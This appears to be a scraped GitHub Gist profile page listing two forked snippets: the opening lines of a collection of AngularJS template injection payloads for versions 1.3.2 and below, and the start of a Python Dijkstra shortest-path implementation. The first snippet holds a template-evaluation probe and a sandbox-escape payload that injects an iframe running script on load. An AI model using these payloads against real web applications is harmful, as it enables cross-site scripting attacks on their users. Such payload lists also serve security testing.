Skip to content

Instantly share code, notes, and snippets.

View iklobato's full-sized avatar
🏠
Working from home

iklobato iklobato

🏠
Working from home
  • Campinas
  • 14:38 (UTC -03:00)
View GitHub Profile
@iklobato
iklobato / AngularTI.md
Created April 7, 2022 21:30 — forked from mccabe615/AngularTI.md
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
@iklobato
iklobato / dikstra_graph.py
Last active December 13, 2019 22:04 — forked from mdiener21/dikstra_graph.py
Python implementation of dijkstra algorithm
# source: https://dev.to/mariamxl
# https://dev.to/mariamxl/dijkstras-algorithm-in-python-algorithms-for-beginners-dkc
from collections import deque, namedtuple
inf = float('inf')
Edge = namedtuple('Edge', 'start, end, cost')
def make_edge(start, end, cost=1):
return Edge(start, end, cost)